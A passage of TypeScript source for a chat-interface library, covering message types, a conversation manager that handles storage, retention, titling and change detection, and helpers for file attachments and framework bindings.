multi-segment content\n */\nexport interface AparteMessage {\n /** Unique identifier for the message */\n id: string;\n\n /** Role of the message sender */\n role: AparteBubbleRole;\n\n /**\n * Simple text content (for basic messages)\n * Use `segments` for rich content with multiple parts\n */\n content?: string;\n\n /**\n * Rich content segments (thinking, code, tool calls, artifacts, …)\n * Takes precedence over `content` if provided\n */\n segments?: AparteSegment[];\n\n /** Unix timestamp of message creation */\n timestamp: number;\n\n /** Whether the message is still being streamed */\n isStreaming?: boolean;\n\n /** Current status of the message */\n status?: AparteStatus;\n\n /** Optional attachments (images, files, etc.) */\n attachments?: AparteAttachment[];\n\n /** Token usage + timing reported by the provider for assistant messages. */\n usage?: import('./chat.js').AparteUsage;\n\n /**\n * The provider, model and temperature an assistant turn ran on, written by\n * `AparteClient` when the turn starts. A turn a server paused is resumed on them after\n * a reload (`resumeDeferred`), not on whatever model is selected by then.\n */\n model?: { providerId: string; modelId: string; temperature?: number };\n\n /**\n * This message is the summary `@aparte/plugin-compaction` injected in place of the\n * turns it summarised (a host that summarises by other means sets the flag too). Its role is `user` — the summary is context handed to the\n * model, and a `system` message mid-conversation is refused by some providers —\n * but it is not something the user said: the viewport renders it as a notice\n * (`data-kind=\"compaction\"` on the bubble: centred, no avatar, no actions) and\n * the history sends it under a fixed preamble saying what it is.\n */\n compaction?: true;\n\n /**\n * Alternative responses generated by retrying.\n *\n * @deprecated Use the tree-based branching exposed by `AparteMessageRepository`\n * (siblings under the same parent). The bubble no longer reads this field\n * — sibling counts come from `aparte-path-changed` event metadata.\n */\n branches?: AparteMessageBranch[];\n\n /**\n * Index of the currently displayed branch (default 0).\n * @deprecated See {@link AparteMessage.branches}.\n */\n activeBranchIndex?: number;\n\n /** Optional metadata for custom properties */\n metadata?: Record<string, unknown>;\n}\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Configuration\n// ─────────────────────────────────────────────────────────────────────────────\n\n/** Configuration options for AparteChatViewport */\nexport interface AparteViewportConfig {\n /** Threshold in pixels for smart scroll detection */\n scrollThreshold?: number;\n\n /**\n * DOM render cap: the max number of bubbles kept in the DOM at once (a perf\n * ceiling for very long conversations). This does NOT evict messages from the\n * conversation model — the full tree and its persistence snapshot stay intact.\n * Defaults to 1000.\n */\n maxRenderedBubbles?: number;\n\n /**\n * Duration in milliseconds to freeze spacer recalculation after resetSpacer().\n * Set this to the duration of any CSS layout transition in the host app\n * (e.g. the flex animation that moves the composer from center to bottom).\n * Defaults to 0 (no freeze). Example: 350 when `transition: flex 0.3s ease` is used.\n */\n layoutTransitionMs?: number;\n}\n\n/** Configuration options for the composer input. */\nexport interface AparteInputConfig {\n /** Placeholder text for the input */\n placeholder?: string;\n\n /** Maximum height in pixels for auto-expand */\n maxHeight?: number;\n\n /** Minimum height in pixels */\n minHeight?: number;\n}\n\n/**\n * Marks a message whose `segments` were DERIVED from its `content` on display (the\n * viewport parses a markdown string into segments so a stored reply renders like the\n * stream did). The manager reads it to compare messages without those segments: a\n * conversation merely opened and left must not count as changed, or it re-saves and\n * floats to the top of the list. Set as a non-enumerable property, so a spread or a\n * JSON round-trip never carries it into storage.\n */\nexport const APARTE_DERIVED_SEGMENTS: unique symbol = Symbol.for('aparte.derivedSegments');\n","import type { AparteMessage } from '../types/index.js';\nimport { APARTE_DERIVED_SEGMENTS } from '../types/models.js';\nimport type { AparteConversation, AparteStorageAdapter } from './types.js';\nimport type { ExportedMessageRepository } from '../runtime/message-repository.js';\nimport { APARTE_CONVERSATION_SCHEMA_VERSION } from './types.js';\nimport { uuid } from '../utils/uuid.js';\nimport { adoptMessageSegments } from '../utils/segments.js';\n\n/** What {@link AparteConversationManager.subscribe} calls with the list, on every change. */\nexport type AparteConversationsListener = (conversations: AparteConversation[]) => void;\n\n/**\n * Titles a conversation from its first user message.\n *\n * Receives the message's text and the message itself, and returns the title —\n * synchronously or not. An empty answer, or a throw, leaves\n * the default title (the text as typed), so a titler that fails never loses the\n * message from the sidebar. Registered with `AparteConversationManager.setTitleProvider`;\n * `@aparte/plugin-titler` binds one to an aparte-titler model.\n */\nexport type AparteConversationTitleProvider = (text: string, message: AparteMessage) => string | Promise<string>;\n\nexport interface ConversationManagerOptions {\n /**\n * Titles a new conversation from its first user message, instead of the default\n * (the message's text). Same as calling `setTitleProvider` after construction.\n */\n titleProvider?: AparteConversationTitleProvider;\n /**\n * Opt-in history retention. When set, `updateMessages()` trims a persisted\n * conversation to at most `maxMessages` on the active path (dropping the\n * oldest history and the branches hanging off it) before writing to storage.\n * Omit for unbounded history (the default) — retention is a deliberate\n * consumer choice, never silent.\n */\n retention?: { maxMessages: number };\n}\n\n/**\n * Pure retention transform: keep at most `maxMessages` on the active path.\n *\n * Keeps the subtree rooted at the new-oldest kept message (so recent history AND\n * recent branches survive) and drops everything before it. Exported for testing.\n */\nexport function applyRetention(\n messages: AparteMessage[],\n tree: ExportedMessageRepository | undefined,\n maxMessages: number,\n): { messages: AparteMessage[]; tree: ExportedMessageRepository | undefined } {\n if (maxMessages <= 0 || messages.length <= maxMessages) return { messages, tree };\n const trimmedFlat = messages.slice(messages.length - maxMessages);\n const cutoffId = trimmedFlat[0]?.id;\n if (!cutoffId || !tree) return { messages: trimmedFlat, tree };\n\n const treeIds = new Set(tree.messages.map((m) => m.message.id));\n if (!treeIds.has(cutoffId)) return { messages: trimmedFlat, tree }; // flat/tree mismatch → don't corrupt\n\n const childrenOf = new Map<string, string[]>();\n for (const { message, parentId } of tree.messages) {\n if (parentId != null) {\n const arr = childrenOf.get(parentId) ?? [];\n arr.push(message.id);\n childrenOf.set(parentId, arr);\n }\n }\n const keep = new Set<string>();\n const queue = [cutoffId];\n while (queue.length) {\n const id = queue.pop()!;\n if (keep.has(id)) continue;\n keep.add(id);\n for (const child of childrenOf.get(id) ?? []) queue.push(child);\n }\n const trimmedTree: ExportedMessageRepository = {\n headId: tree.headId,\n messages: tree.messages\n .filter((m) => keep.has(m.message.id))\n .map((m) => (m.message.id === cutoffId ? { message: m.message, parentId: null } : m)),\n };\n return { messages: trimmedFlat, tree: trimmedTree };\n}\n\n/**\n * Framework-agnostic conversation manager.\n *\n * Usage:\n * ```ts\n * const manager = new AparteConversationManager(myAdapter);\n * await manager.init(); // load from storage\n * const conv = await manager.createNew(); // returns new AparteConversation\n * ```\n *\n * The manager emits synchronous notifications to registered listeners on every\n * mutation so framework wrappers (Angular signals, Vue reactive, etc.) can\n * react without polling.\n */\n/**\n * A message as the store would see it: without the `segments` a viewport derived from\n * its markdown on display (marked with the non-enumerable `APARTE_DERIVED_SEGMENTS`).\n * Comparing with them would count every opened conversation as changed, re-save it on\n * leave and float it to the top of the list.\n */\nfunction withoutDerived(message: AparteMessage): AparteMessage {\n if (!(message as unknown as Record<symbol, unknown>)[APARTE_DERIVED_SEGMENTS]) return message;\n const { segments: _derived, ...rest } = message;\n return rest;\n}\n\nfunction withoutDerivedSegments(messages: AparteMessage[]): AparteMessage[] {\n return messages.map(withoutDerived);\n}\n\n/**\n * The same, for the branch tree — the two halves of a record have to agree. A viewport\n * imports the TREE, and its parser short-circuits on a message that already has\n * segments, so segments left in the tree would come back UNMARKED, not strippable, and\n * the next persist would read them as a change.\n */\nfunction withoutDerivedTree(tree: ExportedMessageRepository): ExportedMessageRepository {\n return {\n ...tree,\n messages: tree.messages.map((entry) => ({ ...entry, message: withoutDerived(entry.message) })),\n };\n}\n\n/**\n * A value as one string whatever order its keys were written in: the viewport hands back\n * the messages it was given rebuilt, so the same content can arrive with its keys moved.\n */\nfunction stableStringify(value: unknown): string {\n return JSON.stringify(value, (_key, v: unknown) => (v && typeof v === 'object' && !Array.isArray(v)\n ? Object.fromEntries(Object.keys(v).sort().map((k) => [k, (v as Record<string, unknown>)[k]]))\n : v));\n}\n\n/**\n * A message as CONTENT, for \"did anything change?\": without the segments a viewport derived\n * on display, and through the same adoption the viewport applies on load (each segment\n * stamped with its message id, its index and `isStreaming: false`, a call nobody can answer\n * any more closed). Compared raw, a stored record that lacks those stamps would read as\n * changed the moment it is opened, be re-saved on leave and float to the top of the list.\n */\nfunction asContent(message: AparteMessage): AparteMessage {\n return adoptMessageSegments(withoutDerived(message));\n}\n\nfunction contentOf(messages: AparteMessage[]): string {\n return stableStringify(messages.map(asContent));\n}\n\n/**\n * A tree's content: every message of every branch, by id, with its parent — not which branch\n * is shown. Moving between the versions of a reply (‹1/2›) changes the head and the active\n * path, which is navigation, not an edit: it is saved, but it does not date the conversation.\n */\nfunction treeContentOf(tree: ExportedMessageRepository): string {\n const byId = [...tree.messages].sort((a, b) => (a.message.id < b.message.id ? -1 : a.message.id > b.message.id ? 1 : 0));\n return stableStringify(byId.map((entry) => ({ parentId: entry.parentId, message: asContent(entry.message) })));\n}\n\nexport class AparteConversationManager {\n private _adapter: AparteStorageAdapter;\n private _conversations: AparteConversation[] = [];\n private _activeId: string | null = null;\n private _listeners: Set<AparteConversationsListener> = new Set();\n private _initialized = false;\n private _retention: { maxMessages: number } | null = null;\n private _titleProvider: AparteConversationTitleProvider | null = null;\n /** Ids whose messages are in memory. Every id, after a loadAll(); only fetched ones after loadMeta(). */\n private _loaded = new Set<string>();\n /** One fetch per id at a time: a second ensureFull(id) while the first is in flight joins it. */\n private _fetching = new Map<string, Promise<boolean>>();\n /** One append per id at a time: the next addMessage(id) reads what the previous one wrote. */\n private _appending = new Map<string, Promise<void>>();\n /** The list on its way: a conversation created meanwhile waits for it, or the list would replace it. */\n private _initPromise: Promise<void> | null = null;\n\n constructor(adapter: AparteStorageAdapter, options?: ConversationManagerOptions) {\n this._adapter = adapter;\n this._retention = options?.retention ?? null;\n this._titleProvider = options?.titleProvider ?? null;\n }\n\n // ─── Title provider ─────────────────────────────────────────────────────\n\n /**\n * Replace how a new conversation is titled from its first user message.\n * `null` restores the default (the message's text). The provider is consulted\n * once per conversation, on that first message; `updateTitle` is untouched.\n */\n setTitleProvider(provider: AparteConversationTitleProvider | null): void {\n this._titleProvider = provider;\n }\n\n /** The registered title provider, or `null` when the default applies. */\n getTitleProvider(): AparteConversationTitleProvider | null {\n return this._titleProvider;\n }\n\n // ─── Initialisation ────────────────────────────────────────────────────\n\n /**\n * Load all conversations from the adapter. Call once at app startup.\n *\n * A later call re-reads the list from the store: rows it no longer lists are\n * dropped, and a conversation whose messages are already in memory keeps them —\n * so the one on screen goes on being persisted.\n */\n async init(): Promise<void> {\n const load = (async () => {\n // The list first, the messages on demand — when the adapter can split the two.\n // loadMeta() and loadFull() were in the contract from the start and nothing\n // called them: every store loaded everything, and between a click and its\n // messages there was no moment at all (the chat-site review, 2026-09-05). An\n // adapter without loadMeta loads everything as before, and every\n // conversation counts as loaded.\n const split = !!(this._adapter.loadMeta && this._adapter.loadFull);\n if (this._adapter.loadMeta && !this._adapter.loadFull) {\n console.warn('[AparteConversationManager] the adapter lists through loadMeta() but has no loadFull(): everything is loaded through loadAll() instead.');\n }\n // A second init() reads the store again: the list is metadata, so a\n // conversation whose messages are already in memory keeps them and stays\n // loaded — the one on screen would otherwise come back with an empty\n // transcript that no write is allowed to touch, so nothing said and nothing\n // persisted for the rest of the session. A row the store no longer lists is\n // forgotten with its messages.\n const held = new Map(this._conversations.filter((c) => this._loaded.has(c.id)).map((c) => [c.id, c] as const));\n this._loaded.clear();\n const rows: AparteConversation[] = split\n ? (await this._adapter.loadMeta!()).map((m) => {\n const kept = held.get(m.id);\n return kept ? { ...m, messages: kept.messages, ...(kept.tree ? { tree: kept.tree } : {}) } : { ...m, messages: [] };\n })\n : (await this._adapter.loadAll()).map((c) => ({ ...c, messages: c.messages ?? [] }));\n // One row per id: a list that repeats one would make every later write, and\n // every delete, hit twins.\n const seen = new Set<string>();\n const unique = rows.filter((c) => !seen.has(c.id) && (seen.add(c.id), true));\n if (unique.length !== rows.length) {\n console.warn(`[AparteConversationManager] ${rows.length - unique.length} repeated id(s) in the list; the first row wins.`);\n }\n this._conversations = unique;\n for (const c of unique) if (!split || held.has(c.id)) this._loaded.add(c.id);\n this._initialized = true;\n this._notify();\n })();\n this._initPromise = load;\n try {\n await load;\n } finally {\n if (this._initPromise === load) this._initPromise = null;\n }\n }\n\n /** Whether a conversation's messages are in memory (always, without split storage). */\n isLoaded(id: string): boolean {\n return this._loaded.has(id);\n }\n\n /**\n * Fetch a conversation's messages through the adapter's loadFull(), the first time\n * they are needed; later calls resolve at once. The row keeps its place and its meta;\n * the messages (and the tree) come from the full record, and a message written to\n * the row while the fetch ran goes after them. Resolves `false` when the store has no\n * such record (or answers with another id) — the row is then NOT loaded, and says so,\n * rather than counting as an empty conversation.\n */\n async ensureFull(id: string): Promise<boolean> {\n if (this._loaded.has(id)) return true;\n if (!this._adapter.loadFull) return false;\n const inFlight = this._fetching.get(id);\n if (inFlight) return inFlight;\n const fetch = (async (): Promise<boolean> => {\n const full = await this._adapter.loadFull!(id);\n const row = this._find(id);\n if (!row || !full) return false;\n if (full.id !== id) {\n console.warn(`[AparteConversationManager] loadFull('${id}') answered with '${full.id}': ignored.`);\n return false;\n }\n // No write can have landed on the row meanwhile: every write to a\n // conversation whose messages are not in memory fetches them first (or, for\n // a wholesale replace, is refused), so the record is the store's plus nothing.\n this._replace({ ...row, ...full, id, messages: full.messages ?? [] });\n this._loaded.add(id);\n this._notify();\n return true;\n })().finally(() => this._fetching.delete(id));\n this._fetching.set(id, fetch);\n return fetch;\n }\n\n /**\n * The row with its messages in memory — fetched first when they are not, so a\n * metadata change never writes a row back without them. `null` when the id is\n * unknown or the store has no record to fetch.\n */\n private async _full(id: string): Promise<AparteConversation | null> {\n if (!this._loaded.has(id) && this._adapter.loadFull) {\n const loaded = await this.ensureFull(id);\n if (!loaded) return null;\n }\n return this._find(id) ?? null;\n }\n\n /**\n * Whether `init()` has completed at least once. Consumers use this to\n * distinguish \"manager still hydrating from storage\" from \"manager\n * hydrated, conversations is genuinely empty\". The conversation-controller\n * relies on this to defer clearing the binding during the IndexedDB\n * hydration window (Angular APP_INITIALIZER race).\n */\n get initialized(): boolean {\n return this._initialized;\n }\n\n // ─── Read ───────────────────────────────────────────────────────────────\n\n get conversations(): AparteConversation[] {\n return this._conversations;\n }\n\n get activeId(): string | null {\n return this._activeId;\n }\n\n get active(): AparteConversation | null {\n if (!this._activeId) return null;\n return this._conversations.find(c => c.id === this._activeId) ?? null;\n }\n\n /** Active conversations (not archived), newest first. */\n get activeConversations(): AparteConversation[] {\n return this._conversations\n .filter(c => !c.archivedAt)\n .sort((a, b) => b.updatedAt - a.updatedAt);\n }\n\n /** Archived conversations, newest first. */\n get archivedConversations(): AparteConversation[] {\n return this._conversations\n .filter(c => !!c.archivedAt)\n .sort((a, b) => b.updatedAt - a.updatedAt);\n }\n\n // ─── Mutations ──────────────────────────────────────────────────────────\n\n /**\n * Create a new empty conversation, persist it, and make it active. Untitled by\n * default: the list shows its locale's `newChat` word for an empty title, so the\n * store never carries an English string a French UI would then display.\n */\n async createNew(title = ''): Promise<AparteConversation> {\n const now = Date.now();\n const conv: AparteConversation = {\n id: uuid(),\n title,\n createdAt: now,\n updatedAt: now,\n messages: [],\n schemaVersion: APARTE_CONVERSATION_SCHEMA_VERSION,\n };\n // Active SYNCHRONOUSLY, before any await: the controller reads `activeId` on a\n // send that overlaps the creation, to join it rather than create a second one.\n this._activeId = conv.id;\n this._loaded.add(conv.id); // born in memory: nothing to fetch\n // The list on its way replaces `_conversations` when it lands: a conversation\n // created meanwhile waits for it, or it would vanish from the list while staying\n // the active one.\n if (this._initPromise) await this._initPromise.catch(() => { /* init reports it */ });\n this._conversations = [conv, ...this._conversations];\n try {\n await this._adapter.save(conv);\n } catch (err) {\n // The conversation exists in memory and is active: the next write saves the\n // whole record again. Failing here used to leave the controller with no\n // active id for the rest of the session — nothing persisted after that.\n console.warn('[AparteConversationManager] save() failed for a new conversation; it stays in memory and the next write retries.', err);\n }\n this._notify();\n return conv;\n }\n\n /** Switch active conversation without touching storage. */\n select(id: string): void {\n if (!this._conversations.find(c => c.id === id)) return;\n this._activeId = id;\n this._notify();\n }\n\n /** Deselect the active conversation (no conv selected). */\n clearActive(): void {\n this._activeId = null;\n this._notify();\n }\n\n /**\n * Append a message to a conversation. Auto-generates title from first user message.\n *\n * One append at a time per conversation: two sends that overlap (a suggestion and a\n * quick type, coalesced into one new conversation) both suspend before reading the\n * record — for the messages, then for the title provider — so the queue keeps the\n * second one from reading a conversation with no user message in it yet and\n * taking its text as the title.\n */\n async addMessage(convId: string, msg: AparteMessage): Promise<void> {\n const previous = this._appending.get(convId);\n const run = previous\n ? previous.then(() => this._append(convId, msg))\n : this._append(convId, msg);\n // The queue never carries a rejection: a failed append must not swallow the next\n // message. The caller still sees its own.\n const tail = run.catch(() => { /* the caller's promise reports it */ });\n this._appending.set(convId, tail);\n void tail.then(() => { if (this._appending.get(convId) === tail) this._appending.delete(convId); });\n return run;\n }\n\n private async _append(convId: string, msg: AparteMessage): Promise<void> {\n // The messages first, when they are not in memory: appending to the `[]` the\n // list came with, then saving, wrote that one message over the stored ones.\n const conv = await this._full(convId);\n if (!conv) return;\n\n const isFirstUserMsg =\n msg.role === 'user' &&\n conv.messages.every(m => m.role !== 'user');\n\n // The title provider may take its time (a model loads on the first send), and\n // the reply streams meanwhile: the record is read AGAIN after the await, or the\n // write would carry the snapshot from before it — the reply and the tree gone.\n const title = isFirstUserMsg ? await this._title(msg) : null;\n const fresh = this._find(convId);\n if (!fresh) return;\n const present = fresh.messages.some(m => m.id === msg.id);\n const updated: AparteConversation = {\n ...fresh,\n messages: present ? fresh.messages : [...fresh.messages, msg],\n updatedAt: Date.now(),\n title: title ?? fresh.title,\n };\n if (isFirstUserMsg) updated.autoTitle = true;\n this._replace(updated);\n await this._adapter.save(updated);\n this._notify();\n }\n\n /**\n * Replace the flat active-path messages and optionally the full branch tree.\n * `messages` is always written (active path, for sidebar/title/compat).\n * `tree` is written when provided — it carries the full branching topology.\n */\n async updateMessages(convId: string, messages: AparteMessage[], tree?: ExportedMessageRepository): Promise<void> {\n const conv = this._find(convId);\n if (!conv) return;\n // A conversation whose messages are not in memory cannot be replaced: the\n // binding that asks is showing an empty transcript while the fetch runs, and\n // writing that through would wipe the stored messages.\n if (!this._loaded.has(convId)) {\n console.warn(`[AparteConversationManager] updateMessages('${convId}') before its messages were loaded: ignored.`);\n return;\n }\n // The title follows the first user message the CALLER sent — read before\n // retention trims the list, or a later message becomes \"the first\".\n const firstUser = messages.find(m => m.role === 'user');\n // Opt-in history retention (bounds STORAGE, never the live session).\n if (this._retention) {\n ({ messages, tree } = applyRetention(messages, tree, this._retention.maxMessages));\n }\n // `updatedAt` drives the sidebar sort — bump it ONLY on a genuine\n // content change. `_persistActive()` also fires on plain navigation /\n // teardown (opening a conversation, switching away) ; without this\n // guard, merely viewing a conversation re-saves identical messages and\n // floats it to the top of the list. Segments a viewport DERIVED from a\n // message's markdown on display are not a change either.\n const storedMessages = withoutDerivedSegments(messages);\n const storedTree = tree === undefined ? undefined : withoutDerivedTree(tree);\n let contentChanged = true;\n let treeChanged = tree !== undefined;\n try {\n // With a tree on both sides, content is judged over EVERY branch: the active path\n // alone counts a branch switch as an edit. Without one, the flat messages decide.\n // The flat list still counts when the head did not move: under a framework the\n // list and the viewport's tree can disagree (a field set through `updateMessage`,\n // a message a controlled prop removed), and the tree alone would drop that edit.\n // A moved head is the one case where the list differs and nothing was edited.\n // Each side is serialised once: a serialisation walks the whole conversation.\n if (storedTree !== undefined && conv.tree !== undefined) {\n const treesDiffer = treeContentOf(storedTree) !== treeContentOf(conv.tree);\n contentChanged = treesDiffer\n || (storedTree.headId === conv.tree.headId && contentOf(storedMessages) !== contentOf(conv.messages));\n treeChanged = treesDiffer || storedTree.headId !== conv.tree.headId;\n } else {\n contentChanged = contentOf(storedMessages) !== contentOf(conv.messages);\n if (storedTree !== undefined) treeChanged = true;\n }\n } catch { /* unserialisable payload → assume changed */ }\n // The title follows the first user message while it is the manager's decision:\n // editing that message re-titles, the way the first send titled. A title the\n // user typed (`updateTitle`) is not the manager's and stays.\n let title: string | undefined;\n if (conv.autoTitle) {\n const before = conv.messages.find(m => m.role === 'user');\n if (firstUser && (firstUser.content ?? '') !== (before?.content ?? '')) {\n title = await this._title(firstUser);\n }\n }\n // Nothing changed: nothing to write. A conversation opened and left keeps its\n // record byte for byte, and its place in the list.\n if (!contentChanged && !treeChanged && title === undefined) return;\n // Read again after the await above: a write that landed meanwhile is the record.\n const fresh = this._find(convId);\n if (!fresh) return;\n const updated: AparteConversation = {\n ...fresh,\n // What is stored is what the caller sent: segments a viewport DERIVED on\n // display are not the app's content. Stored, they would fill the record with\n // core-generated ids and freeze the parse as it stood the day it was saved —\n // a block grammar registered later would never apply to that message.\n messages: storedMessages,\n updatedAt: contentChanged ? Date.now() : fresh.updatedAt,\n };\n if (storedTree !== undefined) updated.tree = storedTree;\n if (title !== undefined) updated.title = title;\n this._replace(updated);\n await this._adapter.save(updated);\n this._notify();\n }\n\n /** Permanently delete a conversation. */\n async delete(id: string): Promise<void> {\n this._conversations = this._conversations.filter(c => c.id !== id);\n this._loaded.delete(id);\n if (this._activeId === id) this._activeId = null;\n await this._adapter.delete(id);\n this._notify();\n }\n\n /** Archive a conversation (soft-delete). */\n async archive(id: string): Promise<void> {\n // Archiving is a metadata change, not a content change — leave\n // `updatedAt` untouched so the conv keeps its real chronological slot.\n if (!await this._meta(id, (conv) => ({ ...conv, archivedAt: Date.now() }), this._adapter.archive)) return;\n if (this._activeId === id) this._activeId = null;\n this._notify();\n }\n\n /**\n * A metadata change, through the adapter's own hook when it has one (the row is\n * updated in memory, nothing else travels), else through `save()` — with the\n * messages fetched first, so a row the list came with (`messages: []`) is never\n * written back over the stored ones.\n */\n private async _meta(\n id: string,\n change: (conv: AparteConversation) => AparteConversation,\n hook: ((id: string) => Promise<void>) | undefined,\n ): Promise<boolean> {\n if (hook) {\n const conv = this._find(id);\n if (!conv) return false;\n this._replace(change(conv));\n await hook.call(this._adapter, id);\n return true;\n }\n const conv = await this._full(id);\n if (!conv) return false;\n const updated = change(conv);\n this._replace(updated);\n await this._adapter.save(updated);\n return true;\n }\n\n /** Restore an archived conversation. */\n async unarchive(id: string): Promise<void> {\n // Unarchiving is metadata-only — don't bump `updatedAt`, otherwise the\n // restored conv wrongly floats to the top instead of returning to its\n // real chronological position.\n if (!await this._meta(id, (conv) => ({ ...conv, archivedAt: undefined }), this._adapter.unarchive)) return;\n this._notify();\n }\n\n /**\n * Pin a conversation, which the list shows in its \"Pinned\" group first. Metadata\n * only, like archive: `updatedAt` keeps the conversation's real chronological slot\n * for the day it is unpinned. An adapter that has `pin()` gets the call; one that\n * does not gets the whole record through `save()`.\n */\n async pin(id: string): Promise<void> {\n if (!await this._meta(id, (conv) => ({ ...conv, pinnedAt: Date.now() }), this._adapter.pin)) return;\n this._notify();\n }\n\n /** Unpin a conversation. Metadata only — see `pin()`. */\n async unpin(id: string): Promise<void> {\n if (!await this._meta(id, (conv) => ({ ...conv, pinnedAt: undefined }), this._adapter.unpin)) return;\n this._notify();\n }\n\n /** Update the title manually. The full input is preserved — UI surfaces\n * (sidebar list, topbar) are responsible for visual truncation via CSS\n * (`min-w-0` + `truncate`). Auto-titles produced internally by\n * `_autoTitle()` remain capped at a sensible length on input. */\n async updateTitle(id: string, title: string): Promise<void> {\n if (!this._find(id)) {\n console.warn(`[AparteConversationManager] updateTitle('${id}'): unknown conversation.`);\n return;\n }\n const next = title.trim();\n // A rename is metadata, like archive and pin: `updatedAt` keeps the\n // conversation's real chronological slot. It also has to — an adapter's\n // `rename()` hook carries the title alone, so a bump here would live in memory\n // only, re-group the row under \"Today\" and send it back to its old date on the\n // next reload.\n const done = await this._meta(\n id,\n (conv) => ({ ...conv, title: next, autoTitle: false }),\n this._adapter.rename ? (convId) => this._adapter.rename!(convId, next) : undefined,\n );\n if (done) this._notify();\n }\n\n // ─── Observer ───────────────────────────────────────────────────────────\n\n subscribe(listener: AparteConversationsListener): () => void {\n this._listeners.add(listener);\n return () => this._listeners.delete(listener);\n }\n\n // ─── Private ────────────────────────────────────────────────────────────\n\n private _find(id: string): AparteConversation | undefined {\n return this._conversations.find(c => c.id === id);\n }\n\n private _replace(updated: AparteConversation): void {\n this._conversations = this._conversations.map(c =>\n c.id === updated.id ? updated : c\n );\n }\n\n private _notify(): void {\n const snapshot = [...this._conversations];\n // Each listener is isolated: a throwing/slow listener must not break\n // the notification chain for the others. Errors are surfaced via\n // console.error so they remain debuggable in dev tools.\n this._listeners.forEach(l => {\n try {\n l(snapshot);\n } catch (err) {\n console.error('[AparteConversationManager] listener threw:', err);\n }\n });\n }\n\n /**\n * The title of a conversation, decided on its first user message — and again if\n * that message is edited while the title is still the manager's: the provider's\n * answer when one is registered and answers, else the default.\n */\n private async _title(msg: AparteMessage): Promise<string> {\n const fallback = this._autoTitle(msg);\n if (!this._titleProvider) return fallback;\n try {\n const title = (await this._titleProvider((msg.content ?? '').trim(), msg)).trim();\n return title || fallback;\n } catch (err) {\n console.warn('[AparteConversationManager] the title provider threw; the default title stands:', err);\n return fallback;\n }\n }\n\n private _autoTitle(msg: AparteMessage): string {\n // Auto-title from the first user message. Full content is preserved\n // (UI surfaces handle visual truncation via CSS). The user can rename\n // freely afterwards via updateTitle() — also untouched. No text, no\n // title: the list shows its locale's `newChat` word for an empty one.\n return (msg.content ?? '').trim();\n }\n}\n","import type { AparteAttachment } from '../types/models.js';\nimport { uuid } from './uuid.js';\n\n\n\n/**\n * Turn the `File[]` an `aparte-send` event carries into the\n * {@link AparteAttachment}[] a message renders.\n *\n * The composer hands you raw `File`s; a bubble needs an id, a MIME type and a\n * `url` to show a chip or a thumbnail. The `ConversationController` (used by the\n * framework wrappers) does this internally — this is the same conversion,\n * exported so a raw-core consumer driving `appendMessage()` itself doesn't have\n * to hand-roll object URLs:\n *\n * ```ts\n * chat.addEventListener('aparte-send', (e) => {\n * const { content, files } = e.detail;\n * chat.viewport?.appendMessage({\n * id: uuid(), role: 'user', content, timestamp: Date.now(),\n * ...(files?.length ? { attachments: filesToAttachments(files) } : {}),\n * });\n * });\n * ```\n *\n * The `url` comes from `URL.createObjectURL`, so it lives as long as the\n * document; the raw `File` rides along on `blob` for storage adapters that\n * persist attachments and rebuild the url on reload.\n *\n * That lifetime is deliberate for a rendered attachment — but it is also a leak\n * once the attachment is gone: a long session that sends many files retains every\n * `File` for the life of the page. Call {@link revokeAttachmentUrls} when you know\n * they are no longer rendered; core does it on `clearAll()`.\n */\nexport function filesToAttachments(files: readonly File[]): AparteAttachment[] {\n return files.map((file) => ({\n id: uuid(),\n name: file.name,\n type: file.type || 'application/octet-stream',\n url: URL.createObjectURL(file),\n size: file.size,\n blob: file,\n }));\n}\n\n/**\n * Release the object URLs of attachments that are no longer on screen.\n *\n * Until revoked, every `File` a session sent stays reachable until the page goes\n * away. Only the caller knows when an attachment stops being rendered —\n * a persisted conversation may re-render one much later — so this is a function\n * rather than something `filesToAttachments` could schedule.\n *\n * Safe to call twice: revoking an already-revoked or foreign URL is a no-op, and a\n * `blob` is left in place so a storage adapter can still rebuild the url.\n */\nexport function revokeAttachmentUrls(attachments: readonly AparteAttachment[] | undefined): void {\n if (!attachments?.length) return;\n if (typeof URL === 'undefined' || typeof URL.revokeObjectURL !== 'function') return;\n for (const attachment of attachments) {\n if (attachment.url?.startsWith('blob:')) URL.revokeObjectURL(attachment.url);\n }\n}\n","import type { AparteMessage, AparteAttachment } from '../types/index.js';\nimport type { AparteConversationManager } from './conversation-manager.js';\nimport type { AparteConversation, AparteConversationLoadedDetail } from './types.js';\nimport type { ExportedMessageRepository } from '../runtime/message-repository.js';\nimport { resolveConfig } from '../config/config-context.js';\nimport { aparteGlobalConfig } from '../config/aparte-config.js';\nimport type { AparteConfig } from '../config/aparte-config.js';\nimport { filesToAttachments } from '../utils/files-to-attachments.js';\nimport { uuid } from '../utils/uuid.js';\n\n/**\n * Abstract binding between a chat UI and the conversation lifecycle.\n *\n * Each framework wrapper (Angular, React, Vue, Svelte) provides an\n * implementation that knows how to mutate its own message list. The\n * controller orchestrates loading, persistence and abort using only this\n * interface, keeping the conversation engine fully framework-agnostic.\n */\nexport interface AparteChatBinding {\n /** Stable id of the host element (used as `targetId` for scoped events). */\n readonly hostId: string;\n /** The element that emits/receives `aparte-send` and `aparte-path-changed`. */\n readonly host: HTMLElement;\n /** Replace the entire message list (used when switching conversations). */\n setMessages(messages: AparteMessage[]): void;\n /** Append a single message (used for the optimistic user-msg on send). */\n appendMessage(message: AparteMessage): void;\n /** Read the current message list. */\n getMessages(): AparteMessage[];\n /** Clear all messages (e.g. when starting a new conversation). */\n clearMessages(options?: { revokeAttachments?: boolean }): void;\n /**\n * The transcript is on its way, or no longer: a conversation was chosen and its\n * messages are being fetched. The DOM binding sets the viewport's `loading`.\n */\n setLoading?(loading: boolean): void;\n /**\n * Export the full conversation tree for persistence.\n * Optional: only available when the binding wraps a `AparteMessageRepository`\n * (e.g. the vanilla viewport). Returns `undefined` when not supported.\n */\n exportTree?(): ExportedMessageRepository | undefined;\n /**\n * Import a previously-persisted tree snapshot, restoring full branch\n * topology. Called by the controller after `setMessages` (which handles\n * cleanup) when the loaded conversation carries a `tree` field.\n * Optional: falls back to the flat `setMessages` load when absent.\n */\n importTree?(tree: ExportedMessageRepository): void;\n /**\n * Run a callback after the framework has applied its latest render. Optional: a\n * binding whose list is current the moment it is written (the vanilla viewport)\n * leaves it out. One that renders late — a transcript kept in a framework store —\n * declares it, so a save waits for the list to arrive instead of writing the old one.\n */\n afterRender?(cb: () => void): void;\n}\n\n/** How many renders a compaction's save waits for the summary to reach the binding. */\nconst MAX_COMPACTION_SAVE_WAITS = 6;\n\nexport interface 